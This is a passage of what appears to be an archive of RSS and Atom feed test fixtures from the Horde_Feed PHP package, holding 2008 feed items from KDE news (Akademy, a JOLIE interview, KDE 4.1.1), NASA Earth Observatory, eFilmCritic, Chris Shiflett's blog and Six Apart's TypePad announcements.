event</a>, were we had good food and Belgian beer. And Thursday we went to Mechelen, and had a great tour over the river, paid for by our own KDE e.V. Many pictures were shot during Akademy, be sure to have a look at those made by <a href="http://www.kdedevelopers.org/node/3606">Bart Coppens</a>, <a href="http://www.kdedevelopers.org/node/3604">Jonathan Riddell</a> or in <a href="http://vizzzion.org/?id=gallery&amp;gcat=Akademy2008">Sebas' gallery (who donated the pics in this article)</a>. </p> <h1>Wrapping up</h1> <p> That wraps up the overview of Akademy. On Friday most people left, though some stayed <a href="http://www.nielsvm.org/2008/08/15/akademy-2008-public-kisses-and-flowers/">until Saturday</a>, still working. It took everybody a while to get back home (<a href="http://nowwhatthe.blogspot.com/2008/08/car-accident.html">not everybody</a> <a href="http://wadejolson.wordpress.com/2008/08/16/living-the-glamourous-life-in-a-one-star-no-tell-motel/">having a good trip</a>), and a while to adjust. Alexander Neundorf even speaks of a <a href="http://www.kdedevelopers.org/node/3622">"Post Akademy blues"</a>. Once adjusted, normal life continues. Wade <a href="http://wadejolson.wordpress.com/2008/08/26/be-careful-of-what-you-wish-for/">continues to be funny</a>. And we are still writing code. <p> <div style="float: left; border: thin solid grey; padding: 1ex; margin: 1ex; width: 400px"> <a href="http://static.kdenews.org/jr/akademy-2008-final-article/akademy-2008-ev-members.jpg"><img src="http://static.kdenews.org/jr/akademy-2008-final-article/wee-akademy-2008-ev-members.jpg" width="400" height="267" /></a><br /> Some new members of the KDE e.V. joined at Akademy. So can you! </div> <p> But, despite the importance of <a href="http://hemswell.lincoln.ac.uk/~padams/index.php?entry=entry080831-102422">coding</a> and design going on at Akademy, it is not all what our yearly KDE meeting is all about. Talking to enthusiastic fellow KDE developers <em>is</em>. The KDE community offers a diversity of bright, interesting and simply amazing people. Meeting those, talking, having dinner or a drink - it is what makes Akademy one of the best things the year brings. There is so much more fun to be had, things to be learnt and work to be done, from art to be drawn to code to be written, you know you want to <a href="http://kde.org/getinvolved/">join us</a>! <p> http://dot.kde.org/1220912262/ http://dot.kde.org/1220912262/ Mon, 08 Sep 2008 15:17:42 +0000 Interview: JOLIE and Service-Oriented Computing Explained During Akademy 2008, we sat down with Fabrizio Montesi who's working on <a href="http://jolie.sourceforge.net">JOLIE</a> integration in KDE (and Plasma in particular). He explained the mechanics of the technology and what it can do for KDE. Read on for the interview. <br><p><b>Hi Fabrizio! Can you introduce yourself?</b></p> <p>Hi! My name is Fabrizio Montesi, I'm Italian and I work as a computer professional. Recently I have founded (together with my colleague Claudio Guidi), <a href="http://www.italianasoftware.com/">italianaSoftware s.r.l.</a>, a company that centers its business around service-oriented software solutions made with JOLIE.<br><br></p> <p><b>At Akademy you gave a talk about JOLIE, the technology you are working on. Can you explain the purpose of JOLIE?</b></p> <p>Well, <a href="http://jolie.sourceforge.net">JOLIE</a> is a programming language for service-oriented computing. It is mostly about communication between applications. Usually, applications have communication mechanisms within themselves - in Qt this is done with the signal-slot mechanism. What it does is essentially this: suppose you have a button, and you click it. That button then tells a part of the application to start doing "its thing", e.g. display an image. Simple.</p> <p>Now, you might want to have something happen in <em>another</em> applicaton if you hit that button; that's covered in the software world as well, e.g. on Linux/UNIX by DCOP and D-Bus, on Windows by DCOM. The problem is that these technologies are pretty specific and each one has its own set of limitations (among which the most prominent is that some don't work over networks). JOLIE tries to overcome all these limitations and offer a very simple solution for doing what should indeed be simple: "just send this message to that application in that computer".<br><br></p> <p><b>So JOLIE is like a network-enabled D-Bus?</b></p> <p>Well, no, it's more than that. D-Bus is a framework designed to enable application integration in the desktop. JOLIE is a fully-fledged programming language for managing service-oriented architectures and technologies. With JOLIE, you can write flexible service "orchestrators" and compose other services, independently of their technology, in order to gain sophisticated functionality.<br><br></p> <p><b>Now that sounds interesting, "orchestrators" and composition of services, but what does it mean?</b></p> <p>Let me explain this by giving an example. Say that you want to write an application which allows you to buy stuff at stores. You already have services for accessing your bank and said stores, but you lack the application that actually composes these services to make the money transfer and make the store order for you. Then you write an "orchestrator" to combine the services, which would coordinate the services in order to do what you wanted. Note that a JOLIE orchestrator is very easy to write and can make use of any store and bank service that are based on a technology supported by JOLIE (like, for instance, Web Services, REST, and so on).</p> <p>Which is what JOLIE is all about - a generic programming language for programming any kind of service or service-oriented architecture, independent of the underlying protocols (JOLIE abstracts the communication away, e.g. D-Bus apps can communicate with a SOAP-based service through JOLIE). And of course, this is incredibly easy to use. In most other languages you'd find it is very hard to write service-oriented code, but JOLIE is all about services. Of course it also provides the normal flow control functions (like the if-else, if-then, while, for, foreach statements), and it adds some specific and powerful tools to handle distributed workflows. The latter help in compensating for network lag and help the programmer to handle complex asynchronous communications. And finally, JOLIE is very safe while doing this, due to the academic work being done.<br><br></p> <p><b>So people can quickly write orchestrators to let any number of services work together in any way they want. Now you mentioned academic work, can you tell us a bit more about that? This is actually a research project, right?</b></p> <p>Yes, it is. Writing distributed apps is very difficult to get right. JOLIE is based on SOCK, a process algebra for service-oriented computing, so you can make mathematical proofs on JOLIE applications. For example, we are currently developing a tool for checking distributed systems for possible deadlocks. Another advantage is that you can be sure your application does what it is supposed to do if something goes wrong in some part of your distributed workflow.</p> <p>Let me give an example of that last point as well. Say, in the previous example, you're ready to order the bank to transfer the money and receive the store receipt. You want this to go fast, so you do two things at once: start the money transaction and wait for the store receipt. Say that the waiting-for-receipt activity receives an error. In that case, the money transaction must be cancelled: you don't want to lose your money for a product that will not be sent to you, right? But you don't want to cancel it at some unknown point. You want to ensure <em>nothing</em> happened to your money at all. So you add a little "revert when an error comes in" thing to the money transaction code. Now, in case of an error from the store, JOLIE will guarantee three things:<br><ul> <li>if no money has been transferred yet, the transaction won't begin at all; <li>if the transfer has already started, JOLIE will allow it to finish, then start the reverting action; <li>if the transaction has finished already, JOLIE will revert it right away.</ul></p> <p>All this is based on lots of mathematical work to ensure and prove that this works properly. This is a good example of how SOCK is useful in our development process. When we face a very complicated and general problem, we can first build a mathematical framework for solving that problem in SOCK.</p> <p>After developing the whole theoretical framework and proving that it works, we transfer the results into JOLIE.<br><br></p> <p><b>Interesting. So this is an implementation of sound, theoretical work. But why in KDE?</b></p> <p>Well, I wanted to bring the benefits of service-oriented computing to desktop users. There are many services out there on the web and in user computers (every D-Bus-enabled application can indeed be seen as a service), but they don't communicate with each other. JOLIE can help with this. There are a few commercial frameworks which do comparable things, but nothing free, nor very good and complete. Now for this to work, I needed to find an organization which would be interested to work on it. I needed a real, open community to work with, so Vista and Mac OS X were off the list... Vista wouldn't have been very good from a technological standpoint either. I further needed the community to be flexible, interested and pro-active.</p> <p>I was following the evolution of open desktop technologies since a long time. KDE has some amazing, cutting-edge technology, and you don't write that kind of stuff without many open discussions. And from reading the blogs I was convinced this community works great, is open and flexible, exactly what I was looking for. For me, GNOME seemed much less flexible, both in terms of people and technology. More importantly, KDE showed with the KDE4 series that the project is not afraid to take a step towards innovation, regardless of the hardships that you can meet along the way.</p> <p>And with Plasma, I was sold: it felt like a natural choice. JOLIE is based upon a philosophy which emphasizes generic solutions over specific ones in order to create something as flexible and powerful as possible. The same applies to Plasma, and as i've seen in KDE development, it is the vibe you see in pretty much all of KDE.<br><br></p> <p><b>OK, so you decide to work with us. How did that go?</b></p> <p>Well, I sent an email to Aaron Seigo and he answered back enthusiastically. He happened to have been thinking on very similar topics, but he bumped into the issues JOLIE is built to solve - it's hard to write, compose and communicate with services. On top of that, there are a lot of different communication mechanisms currently used by services all around the world: how to be able to use all of them? These issues are far from trivial, so Aaron was happy to work with us to take advantage of JOLIE. He invited me to come to Tokamak, the Plasma meeting, which I and Claudio did. There we (JOLIE and Plasma teams) found that we clearly had matching ideas. JOLIE and Plasma looked like the perfect match to offer users a flexible and powerful service-oriented experience. So we started a twofold collaboration, aimed to unite the pragmatic world of KDE and the academic world from which JOLIE comes.<br><br></p> <p><b>Cool. And now you're at Akademy... How did you end up here, and what do you think about it?</b></p> <p>Well, Aaron and Kevin Ottens invited me to send a talk proposal for Akademy, which I did. I must say Akademy is very interesting, though also very tiring. You find so many great people to speak with here, and I actually did that for the whole time. I've never had so many well informed questions before, too... before and after the presentation! Actually, I think the majority of questions I had during all the presentations I ever gave were asked at Akademy. Of course, this is because there are so many knowledgeable, interested developers here. Many people here will (or already have) actually put some of these ideas to work, so they have questions about it. Getting so much relevant feedback in an academic conference would be unusual: it is more difficult to reach technological collaboration between many different and separated projects. So this has been really great, i've gathered many ideas and issues i'm going to take with me, think about, and work on. And i've left something to think about for others, too.<br><br></p> <p><b>From what I understood, there is already some code?</b></p> <p>Yes, that's true. We are already writing a Plasma::Service layer which acts as a bridge to MetaService (a JOLIE orchestrator) on the JOLIE side. This means you can access all services supported by JOLIE in Plasma. You would have to write an orchestrator to compose services, like in the previous e-commerce example. But as you can read in <a href="http://fmontesi.blogspot.com/">my blog</a>, there are some cool code examples. One of them is <a href="http://fmontesi.blogspot.com/2008/07/vision-distributed-presentation.html">Vision</a>, a tool which can distribute presentations real-time over several computers. That way several people can view the presentation on their screens synchronized with one another. This even works in a peer-to-peer way, where each of the PC's can distribute it even further. Look in my blog for <a href="http://jolie.sourceforge.net/videos/vision-previewer.avi">a screencast</a>!</p> <p>Something else, not available already but we're working on, is exporting data engines from one system to another. So, for example, the "Time" engine on one computer can be queried as a JOLIE system from a remote PC. All of this is difficult to do right in terms of security, but opens a huge number of opportunities. Think about how easy it will become to start writing remote control Plasmoids, or getting access to a huge amount of information (that of services on the internet) from your desktop.<br><br></p> <p><b>Do you have any concluding words for the KDE community?</b></p> <p>Yes. i'd like to thank (and praise) the KDE community for its openness. I felt at ease from the start, met enthusiasm and innovative ideas, and discovered that the people behind the project are friendly, open-minded and a lot of fun to pass your time with.</p> <p>During these months I have seen that the KDE project is truly innovation-driven. Open-source and community openness are what make this possible, and KDE is showing that it is capable of handling all this (with the KDE e.V., the meetings, and so on). Keep rocking!<br><br></p> <p><b>Thank you for the interview!</b></p> <p>Thank you for interviewing me. And who knows... see you at next Akademy!</p> http://dot.kde.org/1220789755/ http://dot.kde.org/1220789755/ Sun, 07 Sep 2008 05:15:55 +0000 Hooray, it's a 4.1.1! After last week's <a href="http://www.kde.org/announcements/announce-3.5.10.php">update to the KDE 3.5 series</a>, <a href="http://www.kde.org/announcements/announce-4.1.1.php">today's KDE release</a> updates the stable KDE 4.1 branch to KDE 4.1.1. It bears the codename <em>"Cebidae"</em> referring to an in-joke often made during Akademy 2008. With only a good month of development time -- and Akademy in between -- the changelog is still impressively long. Pretty much all applications have received the developers' attention, resulting in a <a href="http://www.kde.org/announcements/changelogs/changelog4_1to4_1_1.php">long list of bugfixes and improvements</a>.<br>The most significant changes are: <ul> <li>Significant performance, interaction and rendering correctness improvements in KHTML and Konqueror, KDE's webbrowser </li> <li>User interaction, rendering and stability fixes in Plasma, the KDE4 desktop shell </li> <li>PDF backend fixes in the document viewer Okular </li> <li>Fixes in Gwenview, the image viewer's thumbnailing, more robust retrieval and display of images with broken metadata </li> <li>Stability and interaction fixes in KMail </li> </ul> To find out more about KDE 4.1, please refer to the <a href="http://www.kde.org/announcements/4.1/">KDE 4.1.0</a> and <a href="http://www.kde.org/announcements/4.0/">KDE 4.0.0</a> release notes. KDE 4.1.1 is a recommended update for everyone running KDE 4.1.0. It will be followed up by more x.y.z updates over the next months and ultimately by a new feature release, KDE 4.2.0 this coming January. Enjoy KDE 4.1.1 and let us know your findings. http://dot.kde.org/1220442784/ http://dot.kde.org/1220442784/ Wed, 03 Sep 2008 04:53:04 +0000 KDE Commit-Digest for 31st August 2008 In <a href="http://commit-digest.org/issues/2008-08-31/">this week's KDE Commit-Digest</a>: Interface work and new applets specialised for use on MID (small form factor) devices, beginnings of applets-in-the-systray, and work on a new calendar popup widget design in <a href="http://plasma.kde.org/">Plasma</a>. A collection of new comic provider sources, and use of <a href="http://solid.kde.org/">Solid</a> to detect network availability in the "Comic" Plasmoid. The "Spellcheck" runner moves to kdeplasma-addons, a revival of the "<a href="http://strigi.sourceforge.net/">Strigi</a>" Plasmoid, and a new "XEyes" Plasma applet. Two new layout modes for the "present windows" effect in KWin-Composite. Even more bug fixes in Kicker for KDE 3.5. A basic "revision history" implementation, and the beginnings of code generation support, in kdevplatform (the basis of <a href="http://www.kdevelop.org/">KDevelop</a> 4). Support for loading 100e8 stars in <a href="http://edu.kde.org/kstars/">KStars</a>. Get Hot New Stuff for downloading new skins in <a href="http://home.gna.org/ksirk/">KSirK</a>. Support for exporting to JPEG in Darkroom. The ability to pick a colour from the desktop in KColorEdit. Support for video annotations (using <a href="http://phonon.kde.org/">Phonon</a>) in <a href="http://okular.org/">Okular</a>. <a href="http://edu.kde.org/marble/">Marble</a> integration in <a href="http://www.mailody.net/">Mailody</a> displaying the network route an email has taken. Automatic language detection and a range of bug fixes in Sonnet. Dramatic speedups in AdBlock filtering in <a href="http://en.wikipedia.org/wiki/KHTML">KHTML</a>. A configuration dialog and KConfig support in kio_bookmarks. Initial implementation of KOSDWidget-based KNotify OSD plugin. Various work on PowerDevil, with a move into kdereview. Import of a KIO thumbnailer plugin for RAW camera files. An experimental library to abstract away media player interfaces. Initial version of an Open Collaboration Services client, "Attica", and an <a href="http://pim.kde.org/akonadi/">Akonadi</a> resource for handling users. Version 1.0 of the Lancelot alternative menu is tagged for KDE 4.1. KDE 4.1.1 is tagged for release. <a href="http://commit-digest.org/issues/2008-08-31/">Read the rest of the Digest here</a>. http://dot.kde.org/1220276873/ http://dot.kde.org/1220276873/ Mon, 01 Sep 2008 06:47:53 +0000 KDE Commit-Digest for 24th August 2008 In <a href="http://commit-digest.org/issues/2008-08-24/">this week's KDE Commit-Digest</a>: First steps towards autohide and windows-cover-panel in <a href="http://plasma.kde.org/">Plasma</a>, and support for auto creation of Plasmoids based on the type of file dropped on the desktop. "Konsolator", a new <a href="http://konsole.kde.org/">Konsole</a> Plasma applet, and "Unit Converter" and "QEdje" Plasmoids. A runner for searching in the "Recent Documents" history. Initial attempt at previews-in-tooltip for <a href="http://www.konqueror.org/">Konqueror</a> and <a href="http://dolphin.kde.org/">Dolphin</a>. Configurable support for size limits in the Trashcan (and trash:// KIO slave). More bug fixes for Kicker on KDE 3.5. More work on version control interfaces in kdevplatform (the basis for <a href="http://www.kdevelop.org/">KDevelop</a> 4). Ability to save as a PNG image in <a href="http://edu.kde.org/kturtle/">KTurtle</a>. Jigsaw patterns in Palapeli, start of a new skin editor in <a href="http://home.gna.org/ksirk/">KSirK</a>. Sound effects (using <a href="http://phonon.kde.org/">Phonon</a>) and a new theme in Kapman. A new default theme in KBounce. Various work in Darkroom, including access to different export codecs. Configuration work in KWin-Composite, especially for cylinder and sphere effects. Option for Compiz-like "mouse dragging in cube" effects. KDED module for Phonon for handling audio devices. Support for ejecting devices in the <a href="http://ivan.fomentgroup.org/blog/2007/10/27/lancelot-revealed/">Lancelot</a> alternative menu. Work on indexing web sites in <a href="http://nepomuk.kde.org/">NEPOMUK</a>. Start of integration with NEPOMUK in <a href="http://www.mailody.net/">Mailody</a>, with a move from KHTMLPart to <a href="http://webkit.org/">Webkit</a> for displaying HTML emails. Work on inline track info editing, and the ability to play a track directly off of an MTP device in <a href="http://amarok.kde.org/">Amarok</a> 2. NX resume sessions support, and improved scaling behaviour in KRDC. A 7zip plugin for Ark. Various improvements (and a move to kdereview) for PowerDevil. Beginnings of a "download order script" in <a href="http://ktorrent.org/">KTorrent</a>. Configuration dialog for selecting presentation slides in <a href="http://koffice.kde.org/kpresenter/">KPresenter</a>. Porting to Eigen2 (from Eigen1) across <a href="http://koffice.org/">KOffice</a> 2. Scriptable GUI plugins, and an RSS reader script plugin, in the Shaman package manager. Import of "Twine", a tool for generating and updating Python bindings from C++ headers, into KDE SVN. Import of a KDE 4 port of Guidedog, a tool for setting up connection sharing, basic routing, and Network Address Translation (NAT), into KDE SVN. Import of an "Asciiquarium" screensaver into playground/artwork. system-config-printer-kde is added to kdereview. <a href="http://dot.kde.org/1219751598/">KDE 3.5.10 is tagged for release</a>. <a href="http://commit-digest.org/issues/2008-08-24/">Read the rest of the Digest here</a>. http://dot.kde.org/1220218480/ http://dot.kde.org/1220218480/ Sun, 31 Aug 2008 14:34:40 +0000 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-dwlt.net-tapestry-dilbert.rdf0000664000175000017500000000207112653701626026517 0ustar janjan Dilbert http://www.dilbert.com/ Unofficial Dilbert RSS Feed by TapestryComics.com Dilbert Goes Official http://www.dilbert.com/ <p>Over 200,000 of you subscribe to this feed, and after 5 short years, Dilbert.com finally has an official feed for you: http://feeds.feedburner.com/DilbertDailyStrip</p><p>They've also blocked access to the comic images, so you should update this feed address if you want to keep reading! Thanks for all your support over the years - dwlt.</p> Tue, 22 Jul 2008 05:15:03 -0400 http://api.feedburner.com/awareness/1.0/GetFeedData?uri=tapestrydilbert Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-earthobservatory.nasa.gov-eo.rss0000664000175000017500000001622712653701626027247 0ustar janjan NASA's Earth Observatory http://earthobservatory.nasa.gov/ Your source for monitoring regional and global changes on our planet through images and stories. en-us (PICS-1.1 "http://www.rsac.org/ratingsv01.html" l gen true comment "RSACi North America Server" for "http://earthobservatory.nasa.gov/" on "2000.09.27T15:55-0800" r (n 0 s 0 v 0 l 0)) Mon, 22 Sep 2008 00:05:01 EDT Mon, 22 Sep 2008 00:05:01 EDT webmaster@eob.gsfc.nasa.gov Image of the Day: Tunis, Tunisia http://earthobservatory.nasa.gov/Newsroom/NewImages/Images/ISS017-E-013769_tn.jpg http://earthobservatory.nasa.gov/cgi-bin/rss?/Newsroom/NewImages/images.php3 144 105 Tunis, Tunisia News: http://earthobservatory.nasa.gov/cgi-bin/rss?/Newsroom/MediaAlerts//27572.html News: http://earthobservatory.nasa.gov/cgi-bin/rss?/Newsroom/MediaAlerts//27567.html News: Arctic Sea Ice Reaches Lowest Coverage for 2008 http://earthobservatory.nasa.gov/cgi-bin/rss?/Newsroom/NasaNews/2008/2008091627534.html Arctic sea ice coverage appears to have reached its lowest extent for 2008 and the second-lowest amount recorded since the dawn of the satellite era. News: Small Glaciers – Not Large – Account for Most of Greenland's Recent Loss of Ice http://earthobservatory.nasa.gov/cgi-bin/rss?/Newsroom/MediaAlerts/2008/2008091527573.html A new study shows that the dozens of much smaller outflow glaciers dotting Greenland's coast together account for three times more loss from the island's ice sheet than the amount coming from their huge relatives. (Ohio State University press release) News: NASA Satellites Provide Allergy Relief http://earthobservatory.nasa.gov/cgi-bin/rss?/Newsroom/NasaNews/2008/2008091527535.html NASA and its partners explore a tantalizing link between pollen and some dangerous health conditions. News: Research Team Proposes New Link to Tropical African Climate http://earthobservatory.nasa.gov/cgi-bin/rss?/Newsroom/MediaAlerts/2008/2008091127571.html A research team has proposed a new link to rainfall and temperature patterns in southeast Africa. (Brown University press release) News: Ice Core Studies Confirm Accuracy of Climate Models http://earthobservatory.nasa.gov/cgi-bin/rss?/Newsroom/MediaAlerts/2008/2008091127570.html An analysis has been completed of the global carbon cycle and climate for a 70,000-year period in the most recent Ice Age, showing a remarkable correlation between carbon dioxide levels and surprisingly abrupt changes in climate. (Oregon State University press release) News: Old Growth Forests are Valuable Carbon Sinks http://earthobservatory.nasa.gov/cgi-bin/rss?/Newsroom/MediaAlerts/2008/2008091027569.html Contrary to 40 years of conventional wisdom, a new analysis suggests that old growth forests are usually "carbon sinks" – they continue to absorb carbon dioxide from the atmosphere and mitigate climate change for centuries. (Oregon State University press release) News: NASA Study Illustrates How Global Peak Oil Could Impact Climate http://earthobservatory.nasa.gov/cgi-bin/rss?/Newsroom/NasaNews/2008/2008091027536.html NASA researchers have identified feasible emission scenarios that could keep carbon dioxide below levels that some scientists have called dangerous for climate. News: Moderate Quantities of Dirt Make More Rain http://earthobservatory.nasa.gov/cgi-bin/rss?/Newsroom/MediaAlerts/2008/2008090927568.html Whether or not particles in the atmosphere will lead to more clouds and precipitation depends on the number of particles, new research suggests. (Max-Planck-Gesellschaft press release) News: Climate: New Spin on Ocean's Role http://earthobservatory.nasa.gov/cgi-bin/rss?/Newsroom/MediaAlerts/2008/2008090827566.html New studies of the Southern Ocean are revealing previously unknown features of giant spinning eddies that are profoundly influencing marine life and the world's climate. (University of New South Wales press release) Natural Hazards: Flooding along the Gulf Coast http://naturalhazards.nasa.gov/shownh.php3?img_id=15075 Hurricane Ike pushed water far inland over a wide swath of the Gulf Coast when the storm came ashore on September 13, 2008. Natural Hazards: Dust Storm in Iraq http://naturalhazards.nasa.gov/shownh.php3?img_id=15074 A massive cloud of dust hovered over Iraq in mid-September 2008. Natural Hazards: Fires in Oregon and Northern California http://naturalhazards.nasa.gov/shownh.php3?img_id=15073 A handful of large fires were burning in Oregon and Northern California as fall approached in September 2008. Natural Hazards: Dust Plumes over the Persian Gulf http://naturalhazards.nasa.gov/shownh.php3?img_id=15072 Dust plumes blew over the Persian Gulf in early December 2008. Natural Hazards: Hurricane Ike http://naturalhazards.nasa.gov/shownh.php3?img_id=15077 Between the last week of August and the first week of September 2008, the Atlantic Ocean queued up a series of tropical storms. Ike became a large storm that raked over Cuba and targeted the Texas coast. NASA's Visible Earth http://visibleearth.nasa.gov/ For Earth imagery from NASA. Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-efilmcritic.com-fo.rdf0000664000175000017500000000317712653701626025145 0ustar janjan eFilmCritic http://efilmcritic.com/?rdf Australia's Essential Movie Review Source eFilmCritic http://efilmcritic.com/images/efc_8831.gif http://efilmcritic.com/?rdf Review: My Best Friend's Girl - 'The Dane Cook/Lionsgate connection drops ano...' http://efilmcritic.com/review.php?movie=17280&reviewer=404 Review: Duchess, The - 'Keira Knightley remains on fertile corset ground' http://efilmcritic.com/review.php?movie=17034&reviewer=404 Review: Battle in Seattle - 'Better seen than heard' http://efilmcritic.com/review.php?movie=16430&reviewer=404 Feature: SONIC DEATH MONKEY Soundtrack Reviews - 21 http://efilmcritic.com/feature.php?feature=2550 Feature: DVD Reviews for 9/19: Not A Waste Of Time http://efilmcritic.com/feature.php?feature=2549 Feature: Criticwatch Goes At The Movies With The Two Bens http://efilmcritic.com/feature.php?feature=2548 Search Search for reviews of a specific movie. rdfsearch http://efilmcritic.com/search.php Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-feeds.feedburner.com-shiflett0000664000175000017500000002427212653701626026524 0ustar janjan Chris Shiflett http://shiflett.org/ en-us Blog 40.67953-73.96837http://shiflett.org/http://shiflett.org/images/shiflett.pngChris ShiflettThis is an XML content feed. It is intended to be viewed in a newsreader or syndicated to another site, subject to copyright and fair use. Miscellaneous http://shiflett.org/blog/2008/jun/miscellaneous http://shiflett.org/blog/2008/jun/miscellaneous I haven't been blogging much lately, and for the first time since I started this blog, I've only managed one post all month.

    There has been plenty to talk about, but I've been too busy with both work and play to keep up. I'll try to recap the previous month (roughly in chronological order) for posterity.

    • I saw Glen Hansard and Markéta Irglová at Radio City Music Hall, which was possibly the best show I've ever seen. (It's tough to beat the Indigo Girls, though.) If you live in NY, and you're not going to ZendCon, you can see them in Central Park in September.
    • I went to Chicago for php|tek, easily one the best PHP conferences each year. I got to celebrate my birthday at Shoeless Joe's while watching the Champions League final, and I ended the day with a brief stint as a rock star.
    • My wife and I took a canoe down the Delaware River with some friends, and we camped on a small island. I rediscovered my hatred for stinging nettles.
    • I gave a keynote at the DC PHP Conference on the intersection of security and user experience. As with most new talks, it was unpolished, but I'll be giving an updated, polished version of it at ZendCon. (See you there?)
    • I enjoyed the Telectroscope, despite not managing to convince Matt, Lorna, or anyone else to meet up on the London side. Luckily, I managed to convince a few people that it was real, so that was fun. :-) It was conveniently located a few steps away from OmniTI NY, and I took some photos while it was here.
    • The Euro Cup started. :-)
    • My blog was featured in Smashing Magazine again, this time for the pretty blockquote and note styles Jon designed.
    • Motivated by Andrei, I started the hundred push-ups challenge. This commitment also persuaded me to check my various style guides to see whether it's pushup, push up, or push-up. :-) News spread quickly on Twitter, and there is now a group of PHPers all taking part in the challenge.
    • Theo was mentioned on Radar again for his detailed post on Internet traffic spikes.
    • I got to witness a colleague's first encounter with T_PAAMAYIM_NEKUDOTAYIM, which I enjoyed far too much.

    I'll leave you with the PHP anthem from Rasmus. If you're a Mac user, just enter the following in the terminal:

    say -v Good oh PHP ow ow oh PHP ow oh PHP ow ow oh PHP ow oh PHP ow ow oh PHP ow oh PHP ow ow oh PHP ouchie

    If you're not a Mac user, Terry has an MP3.

    Sing it with me...

    Posted Mon, 30 Jun 2008 23:44:02 GMT in Chris Shiflett's Blog

    ]]>     Mon, 30 Jun 2008 23:44:02 GMT     Who Created PHP? http://shiflett.org/blog/2008/may/who-created-php http://shiflett.org/blog/2008/may/who-created-php This past week, I noticed several feeds I poll for Planet Chris are broken. In a few cases, it's because the site is offline. In most cases, it's because people don't maintain URLs when they change blog engines. (Hint!)

    I've been thinking about changing my feed URLs as well, because /feed doesn't let me gracefully offer more than one. (URL vanity strikes again.) I'll be sure to maintain the old ones, though.

    Questioning the completeness of my own planet's coverage, I visited Planet PHP for the first time in a while, and Hasin Hayder's post I don't give you a damn, if caught my eye. Not wanting to be denied a damn, I read the post to learn more. The title completes:

    You came to an interview for PHP Developer and you said you don't know the name Rasmus Lerdorf.

    He poses an interesting question. How well should someone know a particular technology's history, community, or culture to be considered adequately proficient?

    It's easy to draw parallels between this and other debates surrounding indicators of proficiency, such as the Zend certification. A common straw man is to say the indicator alone proves nothing. In this particular case, Hasin's initial comments are strong enough that this argument is understandable, but he later clarifies. Another illogical argument is that we can't possibly know the creator of everything we use. (Examples include the internal combustion engine, the toaster, fire, and the wheel.) Hasin's comments aren't directed at those who use PHP tangentially; he is seeking those for whom PHP is a core competency.

    Personally, I look for people who are passionate about what they do, because I want to surround myself with others who enjoy coming to work as much as I do. Knowing Rasmus created PHP doesn't prove passion, but it does make sense to use this as an indicator. I have never asked this question in an interview and probably never will, but I suspect everyone I have hired knows the answer. The real question is whether it's valuable enough to justify asking in an interview. I'm pretty sure there are better questions.

    Aside from standard technical questions, what do you do to evaluate candidates? Is there anything you've found to be especially helpful?

    Posted Mon, 19 May 2008 02:54:03 GMT in Chris Shiflett's Blog

    ]]>     Mon, 19 May 2008 02:54:03 GMT     http://api.feedburner.com/awareness/1.0/GetFeedData?uri=shiflett         Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-feeds.feedburner.com-SixApartNews0000664000175000017500000032471212653701626027274 0ustar janjan <![CDATA[Six Apart News & Events]]> tag:www.sixapart.com,2008-04-07:/blog/1 2008-07-15T17:21:37Z Welcome to the official Six Apart blog. Anything that affects our company or the entire blogging industry is up for discussion, since 2002. You'll find out about public appearances that we make, new product announcements, major company news and even some peeks behind the scenes. Movable Type Open Source 4.15 This is an XML content feed. It is intended to be viewed in a newsreader or syndicated to another site. TypePad for iPhone is a hit! tag:www.sixapart.com,2008:/blog//1.3975 2008-07-15T16:03:44Z 2008-07-15T17:21:37Z It's only been a few days since the launch of the iPhone App Store, but the verdict is in: Bloggers are loving the new TypePad for iPhone application. We've seen a massive number of TypePad members download the new application... Anil Dash http://www.anildash.com/ <span class="mt-enclosure mt-enclosure-image" style="display: inline;"><a href="http://phobos.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=281944480&amp;mt=8"><img src="http://www.sixapart.com/blog/images/app-store-badge-thumb-150x52.png" width="150" height="52" alt="app-store-badge.png" class="mt-image-right" style="float: right; margin: 20px;" /></a></span>It's only been a few days since the launch of the iPhone App Store, but the verdict is in: Bloggers are loving the new <a href="http://www.typepad.com/features/blog-iphone.html">TypePad for iPhone application</a>. We've seen a massive number of TypePad members download the new application for their iPod touch or iPhone, and just as exciting is seeing an influx of new members who finally gave TypePad a try because of the application. If you've got an iPhone or iPod touch and haven't given it a try yet yourself, just <a href="http://phobos.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=281944480&amp;mt=8">download it for free on the App Store</a>.<div><br /></div><div>As we mentioned when it was <a href="http://everything.typepad.com/blog/2008/06/steve-jobs-deli.html">first announced</a> at the Apple Worldwide Developer's Conference, TypePad for iPhone lets unleash your creativity from wherever you are: Create posts, upload photos, even resize images taken on your camera. And your posts appear instantly on your TypePad blog (and optionally on Twitter as well) as soon as you're done. You can <a href="http://news.cnet.com/1606-2_3-50002569.html">see it in action</a> in this video clip from the WWDC conference.</div><div><br /></div><div>But, while we're proud of the success of this new application, you don't have to take our word for it. Take a look at just some of the early press reaction:</div><div><br /></div><div><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img src="http://www.sixapart.com/blog/images/typepad-for-iphone-thumb-150x280.jpg" width="150" height="280" alt="typepad-for-iphone.jpg" class="mt-image-right" style="float: right; margin: 0 0px 20px 20px;" /></span></div><div><ul><li>AppleInsider lists TypePad amongst its <a href="http://www.appleinsider.com/articles/08/07/12/best_of_the_app_store_social_networking.html">Best of the App Store</a>: "As the only full-scale blogging app on launch, TypePad (free) is almost a category of its own but is nonetheless notable for just how complete it is."</li><li>Longtime TypePad member Mike Wendland of the Detroit Free Press <a href="http://www.freep.com/apps/pbcs.dll/article?AID=/20080715/BLOG01/80714095/1011/NEWS09">weighs in</a>: "I downloaded a free program for Typepad, the popular blogging platform from Six Apart. It writes, posts copy and pictures and updates the blog I set up like I was at my main computer."</li><li>In its own inimitable style, Valleywag lists the new TypePad app as one of the <a href="http://valleywag.com/5023844/10-iphone-apps-that-will-drive-you-into-steve-jobss-clutches">10 iPhone apps that will drive you into Steve Jobs's clutches</a>.</li><li>Eric Benderoff at the Chicago Tribune <a href="http://featuresblogs.chicagotribune.com/eric2_0/2008/07/the-iphones-fas.html">offers his assessment</a>: "I prefer the Web App for the Typepad blogging software because it allows me to manage -- track where the readers are coming from or approve comments, for example -- the Eric 2.0 blog."</li><li>And finally, Scott McNulty, who's been using 